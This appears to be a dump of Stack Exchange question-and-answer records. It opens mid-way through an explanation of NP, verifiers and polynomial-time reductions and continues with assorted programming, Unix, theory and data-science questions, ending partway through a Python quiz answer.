answer efficiently.For example, in our partition example I do not tell you the answer, I just give you a partition, and you can check if it is valid or not. Note that you have to verify the answer yourself, you cannot trust me about what I say.Moreover you can only check the correctness of my proof.If my proof is valid it means the answer is YES.But if my proof is invalid it does not mean the answer is NO.You have seen that one proof was invalid, not that there are no valid proofs.We are talking about proofs for YES.We are not talking about proofs for NO.Let us look at an example: $A=\\{2,4\\}$ and $B=\\{1,5\\}$ is a proof that $S=\\{1,2,4,5\\}$ can be partitioned into two sets with equal sums. We just need to sum up the numbers in $A$ and the numbers in $B$ and see if the results are equal, and check if $A$, $B$ is partition of $S$.If I gave you $A=\\{2,5\\}$ and $B=\\{1,4\\}$, you will check and see that my proof is invalid. It does not mean the answer is NO, it just means that this particular proof was invalid. Your task here is not to find the answer, but only to check if the proof you are given is valid. It is like a student solving a question in an exam and a professor checking if the answer is correct. :) (unfortunately often students do not give enough information to verify the correctness of their answer and the professors have to guess the rest of their partial answer and decide how much mark they should give to the students for their partial answers,indeed a quite difficult task).The amazing thing is that the same situation applies to many other natural problems that we want to solve:we can efficiently verify if a given short proof is valid, but we do not know any efficient way of finding the answer. This is the motivation why the complexity class $\\mathsf{NP}$ is extremely interesting(though this was not the original motivation for defining it). Whatever you do (not just in CS, but also in math, biology, physics, chemistry, economics, management, sociology, business, ...) you will face computational problems that fall in this class.To get an idea of how many problems turn out to be in $\\mathsf{NP}$ check out a compendium of NP optimization problems.Indeed you will have hard time finding natural problems which are not in $\\mathsf{NP}$.It is simply amazing.$\\mathsf{NP}$ is the class of problems which have efficient verifiers,   i.e.  there is a polynomial time algorithm that can verify   if a given solution is correct. More formally, we say a decision problem $Q$ is in $\\mathsf{NP}$ iffthere is an efficient algorithm $V$ called verifier such that  for all inputs $x$,  if $Q(x)=YES$ then there is a proof $y$ such that $V(x,y)=YES$,if $Q(x)=NO$ then for all proofs $y$, $V(x,y)=NO$.We say a verifier is soundif it does not accept any proof when the answer is NO. In other words, a sound verifier cannot be tricked to accept a proof if the answer is really NO.No false positives.Similarly, we say a verifier is complete if it accepts at least one proof when the answer is YES.In other words, a complete verifier can be convinced of the answer being YES.The terminology comes from logic and proof systems.We cannot use a sound proof system to prove any false statements.We can use a complete proof system to prove all true statements.The verifier $V$ gets two inputs, $x$ : the original input for $Q$, and $y$ : a suggested proof for $Q(x)=YES$.Note that we want $V$ to be efficient in the size of $x$. If $y$ is a big proof the verifier will be able to read only a polynomial part of $y$. That is why we require the proofs to be short. If $y$ is short saying that $V$ is efficient in $x$ is the same as saying that $V$ is efficient in $x$ and $y$ (because the size of $y$ is bounded by a fixed polynomial in the size of $x$).In summary, to show that a decision problem $Q$ is in $\\mathsf{NP}$ we have to give an efficient verifier algorithm which is sound and complete.Historical Note:historically this is not the original definition of $\\mathsf{NP}$. The original definition uses what is called non-deterministic Turing machines. These machines do not correspond to any actual machine model and are difficult to get used to (at least when you are starting to learn about complexity theory). I have read that many experts think that they would have used the verifier definition as the main definition and even would have named the class $\\mathsf{VP}$ (for verifiable in polynomial-time) in place of $\\mathsf{NP}$ if they go back to the dawn of the computational complexity theory. The verifier definition is more natural, easier to understand conceptually, and easier to use to show problems are in $\\mathsf{NP}$.$\\mathsf{P}\\subseteq \\mathsf{NP}$Therefore we have $\\mathsf{P}$=efficient solvable and $\\mathsf{NP}$=efficiently verifiable. So $\\mathsf{P}=\\mathsf{NP}$ iff the problems that can be efficiently verified are the same as the problems that can be efficiently solved.Note that any problem in $\\mathsf{P}$ is also in $\\mathsf{NP}$, i.e. if you can solve the problem you can also verify if a given proof is correct:the verifier will just ignore the proof! That is because we do not need it, the verifier can compute the answer by itself, it can decide if the answer is YES or NO without any help.If the answer is NO we know there should be no proofs and our verifier will just reject every suggested proof. If the answer is YES, there should be a proof, and in fact we will just accept anything as a proof.[We could have made our verifier accept only some of them, that is also fine, as long as our verifier accept at lest one proof the verifier works correctly for the problem.]Here is an example: SumInput: a list of $n+1$ natural numbers $a_1,\\cdots,a_n$, and $s$,Question: is $\\Sigma_{i=1}^n a_i = s$?The problem is in $\\mathsf{P}$ because we can sum up the numbers and then compare it with $s$, we return YES if they are equal, and NO if they are not.The problem is also in $\\mathsf{NP}$. Consider a verifier $V$ that gets a proof plus the input for Sum. It acts the same way as the algorithm in $\\mathsf{P}$ that we described above. This is an efficient verifier for Sum.Note that there are other efficient verifiers for Sum, and some of them might use the proof given to them. However the one we designed does not and that is also fine. Since we gave an efficient verifier for Sum the problem is in $\\mathsf{NP}$. The same trick works for all other problems in $\\mathsf{P}$ so $\\mathsf{P} \\subseteq \\mathsf{NP}$.Brute-Force/Exhaustive-Search Algorithms for $\\mathsf{NP}$ and $\\mathsf{NP}\\subseteq \\mathsf{ExpTime}$The best algorithms we know of for solving an arbitrary problem in $\\mathsf{NP}$ are brute-force/exhaustive-search algorithms.Pick an efficient verifier for the problem(it has an efficient verifier by our assumption that it is in $\\mathsf{NP}$) andcheck all possible proofs once by one. If the verifier accepts one of them then the answer is YES.Otherwise the answer is NO. In our partition example, we try all possible partitions and check if the sums are equal in any of them.Note that the brute-force algorithm runs in worst-case exponential time.The size of the proofs is polynomial in the size of input.If the size of the proofs is $m$ then there are $2^m$ possible proofs.Checking each of them will take polynomial time by the verifier.So in total the brute-force algorithm takes exponential time.This shows that any $\\mathsf{NP}$ problem can be solved in exponential time, i.e. $\\mathsf{NP}\\subseteq \\mathsf{ExpTime}$. (Moreover the brute-force algorithm will use only a polynomial amount of space, i.e. $\\mathsf{NP}\\subseteq \\mathsf{PSpace}$ but that is a story for another day). A problem in $\\mathsf{NP}$ can have much faster algorithms, for example any problem in $\\mathsf{P}$ has a polynomial-time algorithm. However for an arbitrary problem in $\\mathsf{NP}$ we do not know algorithms that can do much better. In other words, if you just tell me that your problem is in $\\mathsf{NP}$ (and nothing else about the problem)then the fastest algorithm that we know of for solving it takes exponential time.However it does not mean that there are not any better algorithms, we do not know that. As far as we know it is still possible (though thought to be very unlikely by almost all complexity theorists) that $\\mathsf{NP}=\\mathsf{P}$ and all $\\mathsf{NP}$ problems can be solved in polynomial time.Furthermore, some experts conjecture that we cannot do much better, i.e. there are problems in $\\mathsf{NP}$ that cannot be solved much more efficiently than brute-force search algorithms which take exponential amount of time.See the Exponential Time Hypothesis for more information.But this is not proven, it is only a conjecture.It just shows how far we are from finding polynomial time algorithms for arbitrary $\\mathsf{NP}$ problems.This association with exponential time confuses some people: they think incorrectly that $\\mathsf{NP}$ problems require exponential-time to solve (or even worse there are no algorithm for them at all). Stating that a problem is in $\\mathsf{NP}$ does not mean a problem is difficult to solve, it just means that it is easy to verify, it is an upper bound on the difficulty of solving the problem, and many $\\mathsf{NP}$ problems are easy to solve since $\\mathsf{P}\\subseteq\\mathsf{NP}$.Nevertheless, there are $\\mathsf{NP}$ problems which seem to be hard to solve. I will return to this in when we discuss $\\mathsf{NP}$-hardness. Lower Bounds Seem Difficult to ProveOK, so we now know that there are many natural problems that are in $\\mathsf{NP}$ and we do not know any efficient way of solving them and we suspect that they really require exponential time to solve. Can we prove this? Unfortunately the task of proving lower bounds is very difficult. We cannot even prove that these problems require more than linear time! Let alone requiring exponential time.Proving linear-time lower bounds is rather easy: the algorithm needs to read the input after all. Proving super-linear lower bounds is a completely different story.We can prove super-linear lower boundswith more restrictions about the kind of algorithms we are considering,e.g. sorting algorithms using comparison,but we do not know lower-bounds without those restrictions.To prove an upper bound for a problem we just need to design a good enough algorithm. It often needs knowledge, creative thinking, and even ingenuity to come up with such an algorithm. However the task is considerably simpler compared to proving a lower bound. We have to show that there are no good algorithms. Not that we do not know of any good enough algorithms right now, but that there does not exist any good algorithms, that no one will ever come up with a good algorithm. Think about it for a minute if you have not before, how can we show such an impossibility result? This is another place where people get confused. Here impossibility is a mathematical impossibility, i.e. it is not a short coming on our part that some genius can fix in future. When we say impossible we mean it is absolutely impossible, as impossible as $1=0$. No scientific advance can make it possible. That is what we are doing when we are proving lower bounds. To prove a lower bound, i.e. to show that a problem requires some amount of time to solve, means that we have to prove that any algorithm, even very ingenuous ones that do not know yet, cannot solve the problem faster. There are many intelligent ideas that we know of (greedy, matching, dynamic programming, linear programming, semidefinite programming, sum-of-squares programming, and many other intelligent ideas) and there are many many more that we do not know of yet. Ruling out one algorithm or one particular idea of designing algorithms is not sufficient, we need to rule out all of them, even those we do not know about yet,even those may not ever know about! And one can combine all of these in an algorithm, so we need to rule out their combinations also. There has been some progress towards showing that some ideas cannot solve difficult $\\mathsf{NP}$ problems, e.g. greedy and its extensions cannot work,and there are some work related to dynamic programming algorithms,and there are some work on particular ways of using linear programming.But these are not even close to ruling out the intelligent ideas that we know of (search for lower-bounds in restricted models of computation if you are interested).Barriers: Lower Bounds Are Difficult to ProveOn the other hand we have mathematical results called barriers that say that a lower-bound proof cannot be such and such, and such and such almost covers all techniques that we have used to prove lower bounds! In fact many researchers gave up working on proving lower bounds after Alexander Razbarov and Steven Rudich's natural proofs barrier result. It turns out that the existence of particular kind of lower-bound proofs would imply the insecurity of cryptographic pseudorandom number generators and many other cryptographic tools.I say almost because in recent years there has been some progress mainly by Ryan Williams that has been able to intelligently circumvent the barrier results, still the results so far are for very weak models of computation and quite far from ruling out general polynomial-time algorithms.But I am diverging. The main point I wanted to make was that proving lower bounds is difficult and we do not have strong lower bounds for general algorithms solving $\\mathsf{NP}$ problems.[On the other hand, Ryan Williams' work shows that there are close connections between proving lower bounds and proving upper bounds.See his talk at ICM 2014 if you are interested.]Reductions: Solving a Problem Using Another Problem as a Subroutine/Oracle/Black BoxThe idea of a reduction is very simple: to solve a problem, use an algorithm for another problem.Here is simple example: assume we want to compute the sum of a list of $n$ natural numbers and we have an algorithm $Sum$ that returns the sum of two given numbers. Can we use $Sum$ to add up the numbers in the list? Of course!Problem:Input: a list of $n$ natural numbers $x_1,\\ldots,x_n$,  Output: return $\\sum_{i=1}^{n} x_i$.  Reduction Algorithm:$s = 0$for $i$ from $1$ to $n$  2.1.  $s = Sum(s,x_i)$  return $s$  Here we are using $Sum$ in our algorithm as a subroutine. Note that we do not care about how $Sum$ works, it acts like black box for us, we do not care what is going on inside $Sum$. We often refer to the subroutine $Sum$ as oracle. It is like the oracle of Delphi in Greek mythology, we ask questions and the oracle answers them and we use the answers.This is essentially what a reduction is: assume that we have algorithm for a problem and use it as an oracle to solve another problem. Here efficient means efficient assuming that the oracle answers in a unit of time, i.e. we count each execution of the oracle a single step.If the oracle returns a large answer we need to read it and that can take some time, so we should count the time it takes us to read the answer that oracle has given to us. Similarly for writing/asking the question from the oracle. But oracle works instantly, i.e. as soon as we ask the question from the oracle the oracle writes the answer for us in a single unit of time. All the work that oracle does is counted a single step, but this excludes the time it takes us to write the question and read the answer. Because we do not care how oracle works but only about the answers it returns we can make a simplification and consider the oracle to be the problem itself in place of an algorithm for it. In other words,we do not care if the oracle is not an algorithm, we do not care how oracles comes up with its replies.For example, $Sum$ in the question above is the addition function itself (not an algorithm for computing addition).We can ask multiple questions from an oracle, and the questions does not need to be predetermined: we can ask a question and based on the answer that oracle returns we perform some computations by ourselves and then ask another question based on the answer we got for the previous question.Another way of looking at this is thinking about it as an interactive computation. Interactive computation in itself is large topic so I will not get into it here, but I think mentioning this perspective of reductions can be helpful.An algorithm $A$ that uses a oracle/black box $O$ is usually denoted as $A^O$.The reduction we discussed above is the most general form of a reduction and is known as black-box reduction(a.k.a. oracle reduction, Turing reduction).More formally:We say that problem $Q$ is black-box reducible to problem $O$ and   write $Q \\leq_T O$ iff  there is an algorithm $A$ such that for all inputs $x$,  $Q(x) = A^O(x)$.In other words if there is an algorithm $A$ which uses the oracle $O$ as a subroutine and solves problem $Q$.If our reduction algorithm $A$ runs in polynomial time we call it a polynomial-time black-box reduction or simply a Cook reduction(in honor of Stephen A. Cook) and write $Q\\leq^\\mathsf{P}_T O$.(The subscript $T$ stands for Turing in the honor ofAlan Turing).However we may want to put some restrictions on the way the reduction algorithm interacts with the oracle. There are several restrictions that are studied but the most useful restriction is the one called many-one reductions(a.k.a. mapping reductions). The idea here is that on a given input $x$, we perform some polynomial-time computation and generate a $y$ that is an instance of the problem the oracle solves.We then ask the oracle and return the answer it returns to us. We are allowed to ask a single question from the oracle and the oracle's answers is what will be returned.More formally,We say that problem $Q$ is many-one reducible to problem $O$ and   write $Q \\leq_m O$ iff  there is an algorithm $A$ such that for all inputs $x$,  $Q(x) = O(A(x))$.When the reduction algorithm is polynomial time we call it polynomial-time many-one reduction or simply Karp reduction (in honor of Richard M. Karp) and denote it by $Q \\leq_m^\\mathsf{P} O$.The main reason for the interest in this particular non-interactive reduction is that it preserves $\\mathsf{NP}$ problems: if there is a polynomial-time many-one reduction from a problem $A$ to an $\\mathsf{NP}$ problem $B$, then $A$ is also in $\\mathsf{NP}$.The simple notion of reduction is one of the most fundamental notions in complexity theory along with $\\mathsf{P}$, $\\mathsf{NP}$, and $\\mathsf{NP}$-complete (which we will discuss below).The post has become too long and exceeds the limit of an answer (30000 characters).I will continue the answer in Part II."  } 
{  "id": "_cstheory.37167"  , "question": "Often I find myself needing to know the best error correcting code for a certain quantum scenario. For example, suppose my logical systems are 3-dimensional; then what's the most efficient encoding to resist at most 4 single-system errors? Of, suppose my logical systems are qubits; then what's the most efficient encoding to resist 5 single-qubit phase errors?Presumably for many questions like this, the answers are known. Is there a good survey that gives the state-of-the-art?"  , "title": "Cutting edge of quantum error correction"  , "tags": "quantum computing;quantum information"  } 
{  "id": "_cs.6379"  , "question": "I am working on problem (15-11) Inventory planning from Introduction to Algorithms (CLRS, 3rd Ed).15-11: Inventory Planning, p.411The Rinky Dink Company makes machines that resurface ice rinks. The demand for such products varies from month to month, and so the company needs to develop a strategy to plan its manufacturing given the fluctuating, but predictable, demand. The company wishes to design a plan for the next $n$ months. For each month $i$, the company knows the demand $d_i$, that is, the number of machines that it will sell. Let $D  = \\displaystyle\\sum_{i=1}^{n} d_i $ be the total demand over the next $n$ months. The company keeps a full-time staff who provide labor to manufacture up to m machines in a given month, it can hire additional, part-time labor, at a cost that works out to c dollars per machine. Furthermore, if, at the end of a month, the company is holding any unsold machines, it must pay inventory costs. The cost for holding j machines is given as a function $h(j)$ for $u = 1, 2, ... , D$, where $h(j) \\ge 0$ for $1 \\le j \\le D$ and $h(j) \\le h(j+1)$ for $j \\le 1 \\le D - 1$.  Give an algorithm that calculates a plan for the company that minimizes its costs while fulfilling all the demand. The running time should be polynomical in $n$ and $D$.In other words, problem asks to create dynamic programming algorithm that solves this problem.So far, I came up the the following solution, and not sure if it is any good.Optimal sub-problem:Let $MinCost(i,j)$ be the function that returns minimized cost of operation for past $i$ months, $j$ is the number of unsold machines left at the end of the month $i$.(Goal, is to calculate $MinCost(n,0)$, in other words, at the end of planning period(month $n$), there are no unsold machines.)  So, the DP recurrence is given by $MinCost(0,0) = 0$ and$\\quad MinCost(i,j) = \\min\\{MinCost(i-1,j-k) + c(k,j,i) + h(j) \\mid 1 \\le k \\le D \\}$for $i+j > 0$; here, $c(k,j,i)$ is the function that calculates the costs of the production.If my optimal sub-problem is correct, how do I create an algorithm to solve it?"  , "title": "Inventory planning problem solved through dynamic programming"  , "tags": "algorithms;dynamic programming;check my algorithm"  } 
{  "id": "_datascience.10713"  , "question": "Learning about random forest for the first time and I'm not clear if at each level, if we've already used a feature to make a decision, whether we can use the same feature again at further levels. "  , "title": "Does random forest re-use features at each node when generating a decision tree?"  , "tags": "random forest"  } 
{  "id": "_webmaster.106832"  , "question": "We are building car selling website where users can upload their second hand cars to be sold to other interested buyers.  Currently we have a simple form where we ask user the vehicle and personal details before uploading the car on our website.  We want to move up this page's search engine rankings. I just read that freshness or frequently changing pages rank higher in SEO. What if we start showing customers testimonials somewhere on this page. As these would be randomly picked, would keep on constantly changing, would it help me in improving search engine rankings of this page? "  , "title": "Do web pages that change constantly rank higher than pages with static content?"  , "tags": "seo;ranking;fresh content"  } 
{  "id": "_hardwarecs.7068"  , "question": "what is the best GPU/Card to use for my work-only rig. I do mainly dev work, Webdesign, massive multitasking with sometimes over 50 browser tabs open on each monitor. I don't game on this PC at all. My current Hardware: CPU: i5 4690 @ 3.50GHzGeforce GTX 750Ti32 GB RAM Total of 3 Screens: 2 WQHD screens with a res of 2560 x 1440 1 FHD ScreenScreens are connected with HDMI and 2 with DVI since the Card does not have DP."  , "title": "Multi monitor frustration"  , "tags": "graphics cards;memory;multiple monitors"  } 
{  "id": "_unix.128242"  , "question": "Can anyone please expain me step by step below AWK script written.I have the below code written in my script to format the flat file data. Just wanted to understand so that i can reuse -- I am not a unix guy but task has being assigned to me.kindly help!awk -vsep=$SEPARATOR 'NR>2{if(NF){if(!s){gsub( *sep[ \\t]*,sep);printf %d%s\\n,NR-2,$0}}else s=1}' file_name > new_file # where $SEPARATOR = ';'Thanks in Advance."  , "title": "Please explain the Awk script provided below"  , "tags": "shell script;awk"  } 
{  "id": "_unix.155631"  , "question": "The documentation on Linux RHEL seems to assume you have a connected machine and will be installing through that connection. I need to set up RHEL completely offline using CD-ROMs only (no USB). Is this possible? If so, what is the general strategy?"  , "title": "Possible to install Linux RHEL completely offline?"  , "tags": "rhel;system installation"  } 
{  "id": "_cs.69655"  , "question": "I've shown before many results to BPP[a,b]=BPP such as:BPP[a+1/n,a], BPP[0.05,0.01], BPP[2^-n,1-2^-n]...mostly by using chernoff bounds.recently I encountered the PP class, so I'm looking for some rule of thumb on how to know if a language is in BPP or PP according to the two possibilities.I noticed that for example a language with TM with [3/4, 3/4+1/2^n] probabilities is in PP.Also, I think I can rule RP/CO-RP if the one of the constants is 0,1"  , "title": "what is the minimum difference that holds does BPP[a,b]=BPP"  , "tags": "complexity theory;randomized algorithms"  } 
{  "id": "_softwareengineering.333803"  , "question": "After reading an article [1] regarding making GitHub a developer's resume, I began researching on open-source licensing and copyright articles. A question [2] in this forum was asked if an open-source code is found without license, can it be forked or modified for another purpose and the accepted answer was no, because the creator reserved his copyright and did not provide any license permitting other people to do so. I find this suitable for my needs because I want to create a portfolio and upload it to GitHub, for the sole purpose of showcasing my skills through my projects in code-level while reserving all the rights to myself since I don't want others to modify my projects for their purposes as well. But when I came across another article [3], which said that by uploading to GitHub, I am permitting other GitHub users to view and fork my repository. So is there another way to display my source code publicly while restricting all users for modifying my project for other purposes?Citations:http://anti-pattern.com/github-is-your-resume-nowOpen source code with no license... can I fork it?http://choosealicense.com/no-license/"  , "title": "Is there a way to display your source code publicly with the restriction of collaborative modification?"  , "tags": "licensing;open source;copyright"  } 
{  "id": "_softwareengineering.210926"  , "question": "The big question I have in my mind: how many developers are brownfield (enterprise) compared to greenfield (all new code, from the ground up).I'm constantly reading breathless articles about the latest technology, only to find out that It Just Won't Work On Our Enterprise Software codebase.  People aren't ready for automated testing (because the logic is in the click-handlers and/or database).  People aren't ready for ORM tools because we have horrendous amount of logic in stored procs and triggers.  People aren't ready for WPF because our existing stuff is all WinForms.  We can't get the latest version of Reactive Extensions because existing code used RX 1.0 and there are breaking changes that will require more testing effort than is justified by the return.  Etc., etc., etc.Very few articles seem to be oriented toward the brownfield developer, for whatever reason (can't sell ads for articles that start off with you probably can't use this, but...?).So, I'm truly wondering:  is the software development industry just chock full of greenfield developers, developing new projects for clients which are then released and enjoy a short existence until complete replacement for whatever reason?  Or are there hordes of brownfield programmers silently laboring away in the ADO.NET T/SQL VB.NET software mines, looking wistfully up at the sunshine of Entity Framework 5.0 and Haskell, et cetera?How do we even measure that?  Salaries (wages??) paid to software engineers* in the two categories?  How do we measure THAT?  Maybe... revenue generated from selling said software?  (There's an assumption that the crappy old software sold by XYZ Corp. actually has maintainers).My question: Does anybody have any numbers that speaks to how much of the industry is green field vs. brown field?"  , "title": "Greenfield vs. brownfield revenue? (attempting to get an idea of measure of effort expended on the two)"  , "tags": "industry;greenfield;brownfield"  , "accepted_answer": "It is a well-known fact that most software development effort is spent maintaining existing software, not writing new software. Why?  Because the first version of a program is only written once.  Every subsequent version builds on the original, and steady revenue comes from steadily maintaining, promoting and upgrading an existing product, not from constantly creating brand new inventions.The life cycle of a software product can vary greatly.  Some software systems written for banking on mainframes have life cycles measured in decades, while other programs only have an effective life of a few years (or less).  For that reason, any attempt to quantify the relative percentage of effort on greenfield vs brownfield development would not be representative of the industry as a whole."  } 
{  "id": "_unix.122649"  , "question": "SSH allows a remote user to issue some command without interactively logging in to the server, as the last line of ssh usage indicates:usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]           [-D [bind_address:]port] [-E log_file] [-e escape_char]           [-F configfile] [-I pkcs11] [-i identity_file]           [-L [bind_address:]port:host:hostport] [-Q protocol_feature]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-R [bind_address:]port:host:hostport] [-S ctl_path]           [-W host:port] [-w local_tun[:remote_tun]]           [user@]hostname [command]When ssh is invoked with a remote command, the .bash_history file does not get updated (i.e., the remote command is not added to .bash_history). I managed to simulate this effect by adding the following command to /etc/ssh/sshd_config:ForceCommand if [[ -z $SSH_ORIGINAL_COMMAND ]]; then bash; else printf $SSH_ORIGINAL_COMMAND\\n >> .bash_history; bash -c $SSH_ORIGINAL_COMMAND; fiThe above command checks whether the environment variable $SSH_ORIGINAL_COMMAND is empty:If so, no remote command is issued, and we simply run bash.Otherwise, $SSH_ORIGINAL_COMMAND is added to .bash_history, and the remote command within   $SSH_ORIGINAL_COMMAND is executed.It works as expected, but I need a bit more: I want the current timestamp to be added to  .bash_history as well. To this end, I added the following command to /etc/ssh/sshd_config:ForceCommand if [[ -z $SSH_ORIGINAL_COMMAND ]]; then bash; else printf #`date +%s`\\n$SSH_ORIGINAL_COMMAND\\n >> .bash_history; bash -c $SSH_ORIGINAL_COMMAND; fiBut when I try to ssh to the server, I receive the following error:bash: -c: line 0: unexpected EOF while looking for matching `'bash: -c: line 1: syntax error: unexpected end of fileConnection to 127.0.0.1 closed.If I remove # before date +%s, it works correctly. But I need # to be printed before the timestamp, as it is the correct format for the .bash_history file."  , "title": "Logging ssh remote commands to `bash_history`"  , "tags": "bash;sshd"  , "accepted_answer": "A # in sshd_config is interpreted as the beginning of a comment and everything following it is ignored. Although (according to sshd_config(5))  may be used to quote arguments containing spaces, they do not quote #. That also explains the error you get. sshd only passes the following to bash:if [[ -z $SSH_ORIGINAL_COMMAND ]]; then bash; else printf The second  cannot be found as the command line ends just after the first one.To prevent this behaviour the literal # must not be used:As printf is used here anyway, using its capabilities to use backslash-escaped characters comes in handy. # can be written as \\x23 (hexadecimal), \\43 (octal), \\u23 (Unicode, hexadecimal up to 4 hex digits) or even \\U23 (Unicode, hexadecimal up to 8 hex digits). The same works for echo -e. Note that the \\ has to be quoted, so use either \\43, '\\43' or \\\\43.In cases where you do not need echo or printf, you can get bash (works on zsh, too) to do the replacement by using $'string'. For example: to do touch foo#bar, you could write touch $'foo\\x23bar'. If the value has less than the maximum amount of allowed digits (3 for octal, 2 for hexadecimal and 4 or 8 respectively for Unicode) you should use leading zeroes to avoid misinterpretations. For example: $'foo\\u23bar' evaluates to foor while $'foo\\u0023bar' gives the expected foo#bar. Avoid using # (literal or otherwise) alltogether by putting all functionality into a script and then just put ForceCommand /path/to/script in your configuration.The second option also allows you to forgo printf by using the format option of date more extensively. Instead ofprintf \\x23`date +%s`\\n$SSH_ORIGINAL_COMMAND\\n >> .bash_historyYou can writedate $'+\\x23%s'${SSH_ORIGINAL_COMMAND//%/%%} >> .bash_history"  } 
{  "id": "_codereview.128909"  , "question": "I have the following code where I need to execute 2 Linq-to-SQL statements. If I do not have the Any() in the if statement, then I receive error when the result is no data. However, I am not sure if my approach is efficient enough. Do you have any suggestions?My goal is to achieve the following with single Linq statement. I need to get the Sum, and get 0 if there are no results. if (db.BadgeAssignments.Any(bba => bba.UserIdReceiver == newbadgeassignment.UserIdReceiver && bba.BadgeAssociated.CourseId == courseId)) {      currUserScore = db.BadgeAssignments                        .Where(bba => bba.UserIdReceiver == newbadgeassignment.UserIdReceiver && bba.BadgeAssociated.CourseId == courseId)                        .Sum(bba => bba.BadgeAssociated.Points); }"  , "title": "Calculating the .Sum() in Linq-to-SQL"  , "tags": "c#;entity framework;linq to sql"  , "accepted_answer": "You have:if (db.BadgeAssignments.Any(bba => bba.UserIdReceiver == newbadgeassignment.UserIdReceiver && bba.BadgeAssociated.CourseId == courseId))And later:.Where(bba => bba.UserIdReceiver == newbadgeassignment.UserIdReceiver && bba.BadgeAssociated.CourseId == courseId)The two lambdas:bba => bba.UserIdReceiver == newbadgeassignment.UserIdReceiver && bba.BadgeAssociated.CourseId == courseIdbba => bba.UserIdReceiver == newbadgeassignment.UserIdReceiver && bba.BadgeAssociated.CourseId == courseIdIdentical. .Any is \\$O(n)\\$, meaning worst-case, it will have to iterate all elements of the source to find one that matches the predicate; Where is also \\$O(n)\\$, meaning it will traverse all elements of the source to find all that match the predicate.currUserScore = db.BadgeAssignments                  .Where(bba => bba.UserIdReceiver == newbadgeassignment.UserIdReceiver && bba.BadgeAssociated.CourseId == courseId)                  .Sum(bba => bba.BadgeAssociated.Points);This does it once, and will return 0 if no match is made while iterating BadgeAssignments... and that leaves you with a single linq statement =)The predicate could be simplified further if you encapsulated it into a separate method:currUserScore = db.BadgeAssignments                  .Where(bba => IsMatch(bba, userId, courseId))                  .Sum(bba => bba.BadgeAssociated.Points);The IsMatch function (//todo: find a better name) is the lambda's body:return bba.UserIdReceiver == userId    && bba.BadgeAssociated.CourseId == courseId;"  } 
{  "id": "_unix.40159"  , "question": "I have two animations (.gif files) I want to run side-by-side. Can this be done with ImageMagick?Moreover, I want to start one of the gifs after thirty frames of the other have passed. Can this be done as well? Otherwise, I can manually insert thirty frames of blackness into one image, but it would be easier to automate this step with ImageMagick, because I will potentially be doing this many times."  , "title": "Running two animations side-by-side using ImageMagick"  , "tags": "command line;imagemagick"  , "accepted_answer": "This script does the job :#!/bin/bash# $1 : first gif# $2 : second gifmkdir firstcd firstconvert $1 x%04d.gifcd ..mkdir secondcd secondconvert $2 x%04d.gifcd ..for filename in first/*do  filename=`basename $filename`  montage -tile 2x1 -geometry 512x512 first/$filename second/$filename concat$filenamedoneconvert concat* output.gifrm -rf firstrm -rf secondrm concat*"  } 
{  "id": "_softwareengineering.83713"  , "question": "my visually impaired sister uses a webcam with DIY stand as a digital magnifier to read printed texts.We wanted to initiate a project to create a software - in fact only a modified webcam viewer (like Cheese in Linux). Is it possible to have one SW for both platforms (Windows and Linux) = almost the same code, same filters and GUI, and just use the video stream using some standard protocol? Because most people use Win, but we would like to support Linux primarily.I am not sure if this is possible in windows. We need the software to take the video stream and apply some color and other effects like those described in this article. The idea is to maintain only one application (best would be open-source) with a small differences for both platforms. For the GUI, the GTK seems to be optimal as it is accessible for ScreenReader SW. Such app would not only help the visually impaired but also the elderly people.So, is this possible or is this idea really stupid?thanks :-D"  , "title": "Webcam software for both Windows and Linux  possible?"  , "tags": "windows;linux;accessibility"  } 
{  "id": "_unix.24268"  , "question": "I have a WD My Passport USB 3.0 500 GB hard diskI have successfully installed various OSes like Ubuntu, Pinguy, Mint etc. but so far I'm unsuccessful in installing Arch Linux.I used the net install CD and the installation is smooth, only when I reboot and boot off my hard disk I get an error saying cannot find filep (something along similar lines) and when I try booting again (without a reboot), I get:error 18 and and boot cylindar size exceeds maximum value type error.I tried rootdelay=8 from the Beginners' Guide on the Arch Wiki and after scavenging through forums even enabled usb in the hook file while installing.I still can't boot.If it's of any further help I have dual boot Windows 7 and Ubuntu on my laptop. My usb is partitioned as following:here is my menu.lst http://pastebin.com/FdAiHnXZand the errors"  , "title": "Arch Linux cannot boot"  , "tags": "boot;arch linux"  } 
{  "id": "_codereview.22822"  , "question": "I have been trying to make a simple quiz program in Python.  What I plan to make is, say, a quiz of 3 rounds and each round having 3 questions. And at the end of the every round, the program will prompt the user to go for the bonus question or not.print(Mathematics Quiz)question1 = Who is president of USA?options1 = a.Myslef\\nb. His dad\\nc. His mom\\nd. Barack Obama\\nprint(question1)print(options1)while True:    response = input(Hit 'a', 'b', 'c' or 'd' for your answer\\n)    if response == d:        break    else:        print(Incorrect!!! Try again.)        while True:            response = input(Hit 'a', 'b', 'c' or 'd' for your answer\\n)            if response == d:                stop = True                break            else:                print(Incorrect!!! You ran out of your attempts)                stop = True                break        if stop:            break# DO the same for the next questions of your round (copy-paste-copy-paste).# At the end of the round, paste the following code for the bonus question.# Now the program will ask the user to go for the bonus question or notwhile True:    bonus = input(Would you like to give a try to the bonus question?\\nHit 'y' for yes and 'n' for no.\\n)    if bonus == y:        print(Who invented Facebook?)        print(a. Me\\nb. His dad\\nc. Mark Zuckerberg\\nd. Aliens)        while True:            response = input(Hit 'a', 'b', 'c' or 'd' for your answer\\n)            if response == c:                break            else:                print(Incorrect!!! Try again.)            while True:                response = input(Hit 'a', 'b', 'c' or 'd' for your answer\\n)                if response == c:                    stop = True                    break                else:                    print(Incorrect!!! You ran out of your attempts)                    stop = True                    break            if stop:                break        break    elif bonus == n:        break    else:        print(INVALID INPUT!!! Only hit 'y' or 'n' for your response)# Now do the same as done above for the next round and another bonus question.Now this code is very long for a single question and I don't think this is the true programming. I don't want to copy-paste it again and again. I was wondering is there any way to shorten the code using class or defining functions or something like that?"  , "title": "Simple quiz program"  , "tags": "python;quiz"  , "accepted_answer": "import stringNUMBER_OF_ATTEMPTS = 2ENTER_ANSWER = 'Hit %s for your answer\\n'TRY_AGAIN = 'Incorrect!!! Try again.'NO_MORE_ATTEMPTS = 'Incorrect!!! You ran out of your attempts'def question(message, options, correct, attempts=NUMBER_OF_ATTEMPTS):    '''    message - string     options - list    correct - int (Index of list which holds the correct answer)    attempts - int    '''    optionLetters = string.ascii_lowercase[:len(options)]    print message    print ' '.join('%s: %s' % (letter, answer) for letter, answer in zip(optionLetters, options))    while attempts 